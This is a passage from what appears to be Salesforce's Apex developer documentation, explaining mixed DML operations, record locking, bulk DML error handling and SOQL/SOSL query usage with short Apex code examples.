public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
Account a = new Account(Name='Acme');
insert a;

// This next operation (insert a user with a role)

// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'[email protected]', 'mruiz',
'[email protected]', 'Ruiz');
}
}

public class Util {

@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {

Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];

UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',

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username=uname);
insert u;
}
}

Mixed DML Operations in Test Methods

Test methods allow for performing mixed Data Manipulation Language (DML) operations that include both setup sObjects and
other sObjects if the code that performs the DML operations is enclosed within System.runAs method blocks. You can also
perform DML in an asynchronous job that your test method calls. These techniques enable you, for example, to create a user with
a role and other sObjects in the same test.

Mixed DML Operations in Test Methods

Test methods allow for performing mixed Data Manipulation Language (DML) operations that include both setup sObjects and other
sObjects if the code that performs the DML operations is enclosed within System.runAs method blocks. You can also perform DML
in an asynchronous job that your test method calls. These techniques enable you, for example, to create a user with a role and other
sObjects in the same test.
The setup sObjects are listed in sObjects That Cannot Be Used Together in DML Operations.

Note: Because validation for mixed DML operations is skipped during deployment, there can be a difference in the number of
test failures when tests are deployed versus when run in the user interface.

Example: Mixed DML Operations in System.runAs Blocks

This example shows how to enclose mixed DML operations within System.runAs blocks to avoid the mixed DML error. The
System.runAs block runs in the current user’s context. It creates a test user with a role and a test account, which is a mixed DML
operation.
@isTest
private class MixedDML {
static testMethod void mixedDMLExample() {
User u;
Account a;
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// Insert account as current user
System.runAs (thisUser) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
u = new User(alias = 'jsmith', email='[email protected]',
emailencodingkey='UTF-8', lastname='Smith',
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username='[email protected]');
insert u;
a = new Account(name='Acme');
insert a;
}
}
}

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Use @future to Bypass the Mixed DML Error in a Test Method

Mixed DML operations within a single transaction aren’t allowed. You can’t perform DML on a setup sObject and another sObject in the
same transaction. However, you can perform one type of DML as part of an asynchronous job and the others in other asynchronous jobs
or in the original transaction. This class contains an @future method to be called by the class in the subsequent example.
public class InsertFutureUser {
@future
public static void insertUser() {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
User futureUser = new User(firstname = 'Future', lastname = 'User',
alias = 'future', defaultgroupnotificationfrequency = 'N',
digestfrequency = 'N', email = '[email protected]',
emailencodingkey = 'UTF-8', languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id,
timezonesidkey = 'America/Los_Angeles',
username = '[email protected]',
userpermissionsmarketinguser = false,
userpermissionsofflineuser = false, userroleid = r.Id);
insert(futureUser);
}
}

This class calls the method in the previous class.

@isTest
public class UserAndContactTest {
public testmethod static void testUserAndContact() {
InsertFutureUser.insertUser();
Contact currentContact = new Contact(
firstName = String.valueOf(System.currentTimeMillis()),
lastName = 'Contact');
insert(currentContact);
}
}

sObjects That Don’t Support DML Operations

Your organization contains standard objects provided by Salesforce and custom objects that you created. These objects can be accessed
in Apex as instances of the sObject data type. You can query these objects and perform DML operations on them. However, some
standard objects don’t support DML operations although you can still obtain them in queries. The following is a non-exhaustive list of
such objects:
• AccountTerritoryAssignmentRule
• AccountTerritoryAssignmentRuleItem
• ApexComponent
• ApexPage
• BusinessHours
• BusinessProcess
• CategoryNode
• CurrencyType

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• DatedConversionRate
• NetworkMember (allows update only)
• ProcessInstance
• Profile
• RecordType
• SelfServiceUser
• StaticResource
• Territory2
• UserAccountTeamMember
• UserPreference
• UserTerritory
• WebLink
The following are special cases of DML operations on objects.
• If an Account record has a record type of Person Account, the Name field can’t be modified with DML operations.
• All standard and custom objects can also be accessed through the SOAP API. ProcessInstance is an exception. You can’t create,
update, or delete ProcessInstance in the SOAP API.
• DML operations aren't supported on Data Cloud data model objects (DMOs). For details on using Apex with Data Cloud objects, see
Data Cloud in Apex.
• To determine if DML is supported on your specific object, use the Schema.describeSObjects()method as shown in this
sample code.
// This example describes the ApexPage object. Replace it with your
// objects(s) in the results list to check if DML is permitted.
List<Schema.DescribeSobjectResult> results = Schema.describeSObjects(new List<string>
{'ApexPage'}, SObjectDescribeOptions.DEFERRED);
DescribeSObjectResult d = results[0];
System.debug('isCreateable():' + d.isCreateable());
System.debug('isUpdateable():' + d.isUpdateable());
System.debug('isQueryable(): ' + d.isQueryable());

Bulk DML Exception Handling

Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct result of the call)
are handled differently depending on where the original call came from:
• When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the allOrNone
parameter of a Database DML method is set to true, the runtime engine follows the “all or nothing” rule: during a single operation,
all records must be updated successfully or the entire operation rolls back to the point immediately preceding the DML statement.
If the allOrNone parameter of a Database DML method is set to false and a record fails, the remainder of the DML operation
can still succeed. You must iterate through the returned results to identify which records succeeded or failed. If the allOrNone
parameter of a Database DML method is set to false and a before-trigger assigns an invalid value to a field, the partial set of valid
records isn’t inserted.
• When errors occur because of a bulk DML call that originates from SOAP API with default settings, or if the allOrNone parameter
of a Database DML method was specified as false, the runtime engine attempts at least a partial save:
1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as
validation rules or unique index violations is set aside.

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2. If there were errors during the first attempt, the runtime engine makes a second attempt that includes only those records that
didn’t generate errors. All records that didn't generate an error during the first attempt are processed, and if any record generates
an error (perhaps because of race conditions) it’s also set aside.
3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt that includes only
those records that didn’t generate errors during the first and second attempts. If any record generates an error, the entire operation
fails with the error message, “Too many batch retries in the presence of Apex triggers and partial failures.”

Note:
– During the second and third attempts, governor limits are reset to their original state before the first attempt. See Execution
Governors and Limits on page 326.
– Apex triggers are fired for the first save attempt, and if errors are encountered for some records and subsequent attempts
are made to save the subset of successful records, triggers are refired on this subset of records.

Things You Should Know about Data in Apex

Non-Null Required Fields Values and Null Fields
When inserting new records or updating required fields on existing records, you must supply non-null values for all required fields.
Unlike the SOAP API, Apex allows you to change field values to null without updating the fieldsToNull array on the sObject
record. The API requires an update to this array due to the inconsistent handling of null values by many SOAP providers. Because
Apex runs solely on the Lightning Platform, this workaround is unnecessary.
DML Not Supported with Some sObjects
DML operations are not supported with certain sObjects. See sObjects That Don’t Support DML Operations.
String Field Truncation and API Version
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.
sObject Properties to Enable DML Operations
To be able to insert, update, delete, or undelete an sObject record, the sObject must have the corresponding property (createable,
updateable, deletable, or undeletable respectively) set to true.
ID Values
The insert statement automatically sets the ID value of all new sObject records. Inserting a record that already has an ID—and
therefore already exists in your organization's data—produces an error. See Lists for more information.
The insert and update statements check each batch of records for duplicate ID values. If there are duplicates, the first five are
processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following:
Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id
more than once in this API call: number_of_attempts.
The ID of an updated sObject record cannot be modified in an update statement, but related record IDs can.
Fields With Unique Constraints
For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have
unique names.
System Fields Automatically Set
When inserting new records, system fields such as CreatedDate, CreatedById, and SystemModstamp are automatically
updated. You cannot explicitly specify these values in your Apex. Similarly, when updating records, system fields such as
LastModifiedDate, LastModifiedById, and SystemModstamp are automatically updated.

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Maximum Number of Records Processed by DML Statement

You can pass a maximum of 10,000 sObject records to a single insert, update, delete, and undelete method.
Each upsert statement consists of two operations, one for inserting records and one for updating records. Each of these operations
is subject to the runtime limits for insert and update, respectively. For example, if you upsert more than 10,000 records and
all of them are being updated, you receive an error. (See Execution Governors and Limits on page 326)
Upsert and Foreign Keys
You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see Field Types
in the Object Reference for Salesforce.
Creating Records for Multiple Object Types
As with the SOAP API, you can create records in Apex for multiple object types, including custom objects, in one DML call with API
version 20.0 and later. For example, you can create a contact and an account in one call. You can create records for up to 10 object
types in one call.
Records are saved in the same order that they’re entered in the sObject input array. If you’re entering new records that have a
parent-child relationship, the parent record must precede the child record in the array. For example, if you’re creating a contact that
references an account that’s also being created in the same call, the account must have a smaller index in the array than the contact
does. The contact references the account by using an External ID field.
You can’t add a record that references another record of the same object type in the same call. For example, the Contact object has
a Reports To field that’s a reference to another contact. You can’t create two contacts in one call if one contact uses the
Reports To field to reference a second contact in the input array. You can create a contact that references another contact that
has been previously created.
Records for multiple object types are broken into multiple chunks by Salesforce. A chunk is a subset of the input array, and each
chunk contains records of one object type. Data is committed on a chunk-by-chunk basis. Any Apex triggers that are related to the
records in a chunk are invoked once per chunk. Consider an sObject input array that contains the following set of records:
account1, account2, contact1, contact2, contact3, case1, account3, account4, contact4

Salesforce splits the records into five chunks:

1. account1, account2
2. contact1, contact2, contact3
3. case1
4. account3, account4
5. contact4
Each call can process up to 10 chunks. If the sObject array contains more than 10 chunks, you must process the records in more than
one call. For additional information about this feature, see Creating Records for Different Object Types in the SOAP API Developer
Guide.

Note: For Apex, the chunking of the input array for an insert or update DML operation has two possible causes: the existence
of multiple object types or the default chunk size of 200. If chunking in the input array occurs because of both of these reasons,
each chunk is counted toward the limit of 10 chunks. If the input array contains only one type of sObject, you won’t hit this
limit. However, if the input array contains at least two sObject types and contains a high number of objects that are chunked
into groups of 200, you might hit this limit. For example, if you have an array that contains 1,001 consecutive leads followed
by 1,001 consecutive contacts, the array will be chunked into 12 groups: Two groups are due to the different sObject types of
Lead and Contact, and the remaining are due to the default chunking size of 200 objects. In this case, the insert or update
operation returns an error because you reached the limit of 10 chunks in hybrid arrays. The workaround is to call the DML
operation for each object type separately.

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DML and Knowledge Objects

To execute DML code on knowledge articles (KnowledgeArticleVersion types such as the custom FAQ__kav article type), the running
user must have the Knowledge User feature license. Otherwise, calling a class method that contains DML operations on knowledge
articles results in errors. If the running user isn’t a system administrator and doesn’t have the Knowledge User feature license, calling
any method in the class returns an error even if the called method doesn’t contain DML code for knowledge articles but another
method in the class does. For example, the following class contains two methods, only one of which performs DML on a knowledge
article. A non-administrator non-knowledge user who calls the doNothing method will get the following error: DML operation
UPDATE not allowed on FAQ__kav

public class KnowledgeAccess {

public void doNothing() {

}

public void DMLOperation() {

FAQ__kav[] articles = [SELECT Id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update articles;
}

As a workaround, cast the input array to the DML statement from an array of FAQ__kav articles to an array of the generic sObject
type as follows:
public void DMLOperation() {
FAQ__kav[] articles = [SELECT id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update (sObject[]) articles;
}

Locking Records
When an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface.
The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won’t be
changed by another client during the lock period.

Locking Statements
In Apex, you can use FOR UPDATE to lock sObject records while they’re being updated in order to prevent race conditions and
other thread safety problems.
Locking in a SOQL For Loop
Avoiding Deadlocks

Locking Statements
In Apex, you can use FOR UPDATE to lock sObject records while they’re being updated in order to prevent race conditions and other
thread safety problems.

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While an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface.
The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won’t be
changed by another client during the lock period. The lock gets released when the transaction completes.
To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example, the following
statement, in addition to querying for two accounts, also locks the accounts that are returned:
Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];

Note: You can’t use the ORDER BY keywords in any SOQL query that uses locking.

Locking Considerations
• While the records are locked by a client, the locking client can modify their field values in the database in the same transaction. Other
clients have to wait until the transaction completes and the records are no longer locked before being able to update the same
records. Other clients can still query the same records while they’re locked.
• If you attempt to lock a record currently locked by another client, your process waits a maximum of 10 seconds for the lock to be
released before acquiring a new lock. If the wait time exceeds 10 seconds, a QueryException is thrown. Similarly, if you attempt
to update a record currently locked by another client and the lock isn’t released within a maximum of 10 seconds, a DmlException
is thrown.
• If a client attempts to modify a locked record, the update operation can succeed if the lock gets released within a short amount of
time after the update call was made. In this case, it’s possible that the updates overwrite changes made by the locking client if the
second client obtained an old copy of the record. To prevent the overwrite from happening, the second client must lock the record
first. The locking process returns a fresh copy of the record from the database through the SELECT statement. The second client
can use this copy to make new updates.
• The record locks that are obtained in Apex via FOR UPDATE clause are automatically released when making callouts. The information
is logged in the debug log and the logged message includes the most recently locked entity type. For example:
FOR_UPDATE_LOCKS_RELEASE FOR UPDATE locks released due to a callout. The most recent
lock was Account. Use caution while making callouts in contexts where FOR UPDATE queries could have been previously
executed.
• When you perform a DML operation on one record, related records are locked in addition to the record in question.

Warning: Use care when setting locks in your Apex code. See Avoiding Deadlocks.

Locking in a SOQL For Loop

The FOR UPDATE keywords can also be used within SOQL for loops. For example:
for (Account[] accts : [SELECT Id FROM Account
FOR UPDATE]) {
// Your code
}

As discussed in SOQL For Loops, the example above corresponds internally to calls to the query() and queryMore() methods
in the SOAP API.
Note that there is no commit statement. If your Apex trigger completes successfully, any database changes are automatically committed.
If your Apex trigger does not complete successfully, any changes made to the database are rolled back.

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Avoiding Deadlocks
Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or
rows. To avoid such deadlocks, the Apex runtime engine:
1. First locks sObject parent records, then children.
2. Locks sObject records in order of ID when multiple records of the same type are being edited.
As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock
avoidance techniques by accessing tables and rows in the same order from all locations in an application.

SOQL and SOSL Queries

You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in Apex
by surrounding the statement in square brackets.

SOQL Statements
SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries.
For example, you could retrieve a list of accounts that are named Acme:
List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];

From this list, you can access individual elements:

if (!aa.isEmpty()) {
// Execute commands
}

You can also create new objects from SOQL queries on existing ones. This example creates a new contact for the first account with the
number of employees greater than 10.
Contact c = new Contact(Account = [SELECT Name FROM Account
WHERE NumberOfEmployees > 10 LIMIT 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';

The newly created object contains null values for its fields, which must be set.
The count method can be used to return the number of rows returned by a query. The following example returns the total number
of contacts with the last name of Weissman:
Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];

You can also operate on the results using standard arithmetic:

Integer j = 5 * [SELECT COUNT() FROM Account];

SOQL limits apply when executing SOQL queries. See Execution Governors and Limits.
For a full description of SOQL query syntax, see the Salesforce SOQL and SOSL Reference Guide.

SOSL Statements
SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result
lists are always returned in the same order as they were specified in the SOSL query. If a SOSL query doesn’t return any records for a
specified sObject type, the search results include an empty list for that sObject.

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For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];

Note: The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in SOAP API and REST API:
• In Apex, the value of the FIND clause is demarcated with single quotes. For example:

FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead

Note: Apex that is running in system mode ignores field-level security while scanning for a match using IN ALL
FIELDS.

• In the API, the value of the FIND clause is demarcated with braces. For example:

FIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead

From searchList, you can create arrays for each object returned:
Account [] accounts = ((List<Account>)searchList[0]);
Contact [] contacts = ((List<Contact>)searchList[1]);
Opportunity [] opportunities = ((List<Opportunity>)searchList[2]);
Lead [] leads = ((List<Lead>)searchList[3]);

SOSL limits apply when executing SOSL queries. See Execution Governors and Limits.

Note: The 4,000 characters limit for WHERE clause strings doesn’t apply to SOQL queries in Apex if the WHERE clause includes
the IN operator.
For a full description of SOSL query syntax, see the Salesforce SOQL and SOSL Reference Guide.

1. Working with SOQL and SOSL Query Results

2. Accessing sObject Fields Through Relationships
3. Understanding Foreign Key and Parent-Child Relationship SOQL Queries
4. Working with SOQL Aggregate Functions
Aggregate functions in SOQL, such as SUM() and MAX(), allow you to roll up and summarize your data in a query.
5. Working with Very Large SOQL Queries
6. Using SOQL Queries That Return One Record
SOQL queries can be used to assign a single sObject value when the result list contains only one element.
7. Improve Performance by Avoiding Null Values
8. Working with Polymorphic Relationships in SOQL Queries
A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For
example, the Who relationship field of a Task can be a Contact or a Lead.
9. Using Apex Variables in SOQL and SOSL Queries
10. Querying All Records with a SOQL Statement

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Working with SOQL and SOSL Query Results

SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field that was not
selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a value in the database. The
following code example causes a runtime error:
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is not selected
String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

The following is the same code example rewritten so it does not produce a runtime error. Note that Name has been added as part of
the select statement, after Id.
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is now selected
String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must
dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses
the first account record in the list, and then dereferences the record's AnnualRevenue field:
Double rev = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme'][0].AnnualRevenue;

// When only one result is returned in a SOQL query, it is not necessary

// to include the list's index.
Double rev2 = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme' LIMIT 1].AnnualRevenue;

The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns
an Integer as the result of a COUNT operation:
Integer i = [SELECT COUNT() FROM Account];

Fields in records returned by SOSL queries must always be dereferenced.

Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was issued. Any
changes to other fields that are used within the formula are not reflected in the formula field value until the record has been saved and
re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot be changed in Apex.

Accessing sObject Fields Through Relationships

sObject records represent relationships to other records with two fields: an ID and an address that points to a representation of the
associated sObject. For example, the Contact sObject has both an AccountId field of type ID, and an Account field of type Account
that points to the associated sObject record itself.
The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be used to
access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note).
For example, the following Apex code shows how an account and a contact can be associated with one another, and then how the
contact can be used to modify a field on the account:

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Note: To provide the most complete example, this code uses some elements that are described later in this guide:
• For information on insert and update, see Insert Statement and Update Statement.

Account a = new Account(Name = 'Acme');

insert a; // Inserting the record automatically assigns a
// value to its ID field
Contact c = new Contact(LastName = 'Weissman');
c.AccountId = a.Id;
// The new contact now points at the new account
insert c;

// A SOQL query accesses data for the inserted contact,

// including a populated c.account field
c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id];

// Now fields in both records can be changed through the contact

c.Account.Name = 'salesforce.com';
c.LastName = 'Roth';

// To update the database, the two types of records must be

// updated separately
update c; // This only changes the contact's last name
update c.Account; // This updates the account name

Note: The expression c.Account.Name, and any other expression that traverses a relationship, displays slightly different
characteristics when it is read as a value than when it is modified:
• When being read as a value, if c.Account is null, then c.Account.Name evaluates to null, but does not yield a
NullPointerException. This design allows developers to navigate multiple relationships without the tedium of having
to check for null values.
• When being modified, if c.Account is null, then c.Account.Name does yield a NullPointerException.

In SOSL, you would access data for the inserted contact in a similar way to the SELECT statement used in the previous SOQL example.
List<List<SObject>> searchList = [FIND 'Acme' IN ALL FIELDS RETURNING
Contact(id,Account.Name)]

In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For example:
Account refAcct = new Account(externalId__c = '12345');

Contact c = new Contact(Account = refAcct, LastName = 'Kay');

insert c;

This inserts a new contact with the AccountId equal to the account with the external_id equal to ‘12345’. If there is no such
account, the insert fails.

Tip: The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code
was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on
execution limits, see Execution Governors and Limits on page 326.
Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345'];

Contact c = new Contact(Account = refAcct.Id);

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insert c;

Understanding Foreign Key and Parent-Child Relationship SOQL Queries

The SELECT statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record joins. If foreign
key joins are included, the resulting sObjects can be referenced using normal field notation. For example:
System.debug([SELECT Account.Name FROM Contact
WHERE FirstName = 'Caroline'].Account.Name);

Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts)
FROM Account
WHERE Name = 'Acme']) {
Contact[] cons = a.Contacts;
}

//The following example also works because we limit to only 1 contact

for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1)
FROM Account
WHERE Name = 'testAgg']) {
Contact c = a.Contacts;
}

Working with SOQL Aggregate Functions

Aggregate functions in SOQL, such as SUM() and MAX(), allow you to roll up and summarize your data in a query.
For more information on aggregate functions, see Aggregate Functions in the Salesforce SOQL and SOSL Reference Guide.
You can use aggregate functions without using a GROUP BY clause. For example, you could use the AVG() aggregate function to
find the average Amount for all your opportunities.
AggregateResult[] groupedResults
= [SELECT AVG(Amount)aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');

Note that any query that includes an aggregate function returns its results in an array of AggregateResult objects. AggregateResult is a
read-only sObject and is only used for query results.
Aggregate functions become a more powerful tool to generate reports when you use them with a GROUP BY clause. For example,
you could find the average Amount for all your opportunities by campaign.
AggregateResult[] groupedResults
= [SELECT CampaignId, AVG(Amount)
FROM Opportunity
GROUP BY CampaignId];
for (AggregateResult ar : groupedResults) {
System.debug('Campaign ID' + ar.get('CampaignId'));
System.debug('Average amount' + ar.get('expr0'));
}

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Any aggregated field in a SELECT list that does not have an alias automatically gets an implied alias with a format expri, where i
denotes the order of the aggregated fields with no explicit aliases. The value of i starts at 0 and increments for every aggregated field
with no explicit alias. For more information, see Using Aliases with GROUP BY in the Salesforce SOQL and SOSL Reference Guide.

Note: Queries that include aggregate functions are still subject to the limit on total number of query rows. All aggregate functions
other than COUNT() or COUNT(fieldname) include each row used by the aggregation as a query row for the purposes
of limit tracking.
For COUNT() or COUNT(fieldname) queries, limits are counted as one query row, unless the query contains a GROUP BY
clause, in which case one query row per grouping is consumed.
For information about the limits that apply to queries with for loop, see SOQL For Loops on page 177.

Working with Very Large SOQL Queries

Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain
terms to avoid any effect on customer implementations.
Your SOQL query sometimes returns so many sObjects that the limit on heap size is exceeded and an error occurs. To resolve, use a SOQL
query for loop instead, since it can process multiple batches of records by using internal calls to query and queryMore.
For example, if the results are too large, this syntax causes a runtime exception:
Account[] accts = [SELECT Id FROM Account];

Instead, use a SOQL query for loop as in one of the following examples:
// Use this format if you are not executing DML statements
// within the for loop
for (Account a : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code without DML statements here
}

// Use this format for efficiency if you are executing DML statements
// within the for loop
for (List<Account> accts : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
for (Account a : accts) {
// Your code here
}
update accts;
}

Note: Using the SOQL query within the for loop reduces the possibility of reaching the limit on heap size. However, this approach
can result in more CPU cycles being used with increased DML calls. For more information, see SOQL For Loops Versus Standard
SOQL Queries.
The following example demonstrates a SOQL query for loop that’s used to mass update records. Suppose that you want to change
the last name of a contact in records for contacts whose first and last names match specified criteria:
public void massUpdate() {
for (List<Contact> contacts:
[SELECT FirstName, LastName FROM Contact]) {
for(Contact c : contacts) {
if (c.FirstName == 'Barbara' &&

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c.LastName == 'Gordon') {
c.LastName = 'Wayne';
}
}
update contacts;
}
}

Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which minimizes
the risk of hitting governor limits.
For more information, see SOQL For Loops on page 177.

More Efficient SOQL Queries

For best performance, SOQL queries must be selective, particularly for queries inside triggers.
Selective SOQL Query Criteria
• A query is selective when one of the query filters is on an indexed field and the query filter reduces the resulting number of rows
below a system-defined threshold. The performance of the SOQL query improves when two or more filters used in the WHERE
clause meet the mentioned conditions.
• As a best practice, a query is considered selective when a query filter on an indexed field matches less than 10% of the total
rows.
Custom Index Considerations for Selective SOQL Queries
• The following fields are indexed by default.
– Primary keys (Id, Name, and OwnerId fields)
– Foreign keys (lookup or master-detail relationship fields)
– Audit dates (CreatedDate and SystemModstamp fields)
– RecordType fields (indexed for all standard objects that feature them)
– Custom fields that are marked as External ID or Unique

• Fields not indexed by default are automatically indexed when the Salesforce optimizer recognizes that an index can improve
performance for frequently run queries.
• Salesforce Support can add custom indexes on request for customers.
• A custom index can't be created on these types of fields: multi-select picklists, currency fields in a multicurrency organization,
long text fields, some formula fields, and binary fields (fields of type blob, file, or encrypted text.) New data types, typically complex
ones, are periodically added to Salesforce, and fields of these types don’t always allow custom indexing.
• You can’t create custom indexes on formula fields that include invocations of the TEXT function on picklist fields.
• Typically, a custom index isn’t used in these cases.
– The queried values exceed the system-defined threshold.
– The filter operator is a negative operator such as NOT EQUAL TO (or !=), NOT CONTAINS, and NOT STARTS
WITH.
– The CONTAINS operator is used in the filter, and the number of rows to be scanned exceeds 333,333. The CONTAINS
operator requires a full scan of the index. This threshold is subject to change.
– You’re comparing with an empty value (Name != '').
However, there are other complex scenarios in which custom indexes can’t be used. Contact your Salesforce representative if
your scenario isn't covered by these cases or if you need further assistance with non-selective queries.

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Examples of Selective SOQL Queries

To better understand whether a query on a large object is selective or not, let's analyze some queries. For these queries, assume that
there are more than 1 million records for the Account sObject. These records include soft-deleted records, that is, deleted records
that are still in the Recycle Bin.
Query 1:
SELECT Id FROM Account WHERE Id IN (<list of account IDs>)

The WHERE clause is on an indexed field (Id). If SELECT COUNT() FROM Account WHERE Id IN (<list of
account IDs>) returns fewer records than the selectivity threshold, the index on Id is used. This index is typically used when
the list of IDs contains only a few records.
Query 2:
SELECT Id FROM Account WHERE Name != ''

Since Account is a large object even though Name is indexed (primary key), this filter returns most of the records, making the query
non-selective.
Query 3:
SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'

Here we have to see if any filter, when considered individually, is selective. As we saw in the previous example, the first filter isn't
selective. So let's focus on the second one. If the count of records returned by SELECT COUNT() FROM Account WHERE
CustomField__c = 'ValueA' is lower than the selectivity threshold, and CustomField__c is indexed, the query is selective.

Using SOQL Queries That Return One Record

SOQL queries can be used to assign a single sObject value when the result list contains only one element.
When the L-value of an expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list
to the L-value. A runtime exception results if zero sObjects or more than one sObject is found in the list. For example:
List<Account> accts = [SELECT Id FROM Account];

// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT Id FROM Account];
String name = [SELECT Name FROM Account].Name;

This usage is supported with the following Apex types, methods, or operators:
• Database.query method.
• Safe Navigation Operator. See Safe Navigation Operator.
• Null Coalescing Operator. See Null Coalescing Operator.
• Map.values.

Warning: Although currently supported, Salesforce recommends against using this feature with Map.values.

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Improve Performance by Avoiding Null Values

In your SOQL and SOSL queries, explicitly filtering out null values in the WHERE clause allows Salesforce to improve query performance.
In the following example, any records where the Thread__c value is null are eliminated from the search.
Public class TagWS {

/* getThreadTags
*
* a quick method to pull tags not in the existing list
*
*/
public static webservice List<String>
getThreadTags(String threadId, List<String> tags) {

system.debug(LoggingLevel.Debug,tags);

List<String> retVals = new List<String>();

Set<String> tagSet = new Set<String>();
Set<String> origTagSet = new Set<String>();
origTagSet.addAll(tags);

// Note WHERE clause optimizes search where Thread__c is not null

for(CSO_CaseThread_Tag__c t :
[SELECT Name FROM CSO_CaseThread_Tag__c
WHERE Thread__c = :threadId AND
Thread__c != null])

{
tagSet.add(t.Name);
}
for(String x : origTagSet) {
// return a minus version of it so the UI knows to clear it
if(!tagSet.contains(x)) retVals.add('-' + x);
}
for(String x : tagSet) {
// return a plus version so the UI knows it's new
if(!origTagSet.contains(x)) retvals.add('+' + x);
}

return retVals;
}
}

Working with Polymorphic Relationships in SOQL Queries

A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For example,
the Who relationship field of a Task can be a Contact or a Lead.
The following describes how to use SOQL queries with polymorphic relationships in Apex. If you want more general information on
polymorphic relationships, see Understanding Relationship Fields and Polymorphic Fields in the SOQL and SOSL Reference.

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You can use SOQL queries that reference polymorphic fields in Apex to get results that depend on the object type referenced by the
polymorphic field. One approach is to filter your results using the Type qualifier. This example queries Events that are related to an
Account or Opportunity via the What field.
List<Event> events = [SELECT Description FROM Event WHERE What.Type IN ('Account',
'Opportunity')];

Another approach would be to use the TYPEOF clause in the SOQL SELECT statement. This example also queries Events that are
related to an Account or Opportunity via the What field.
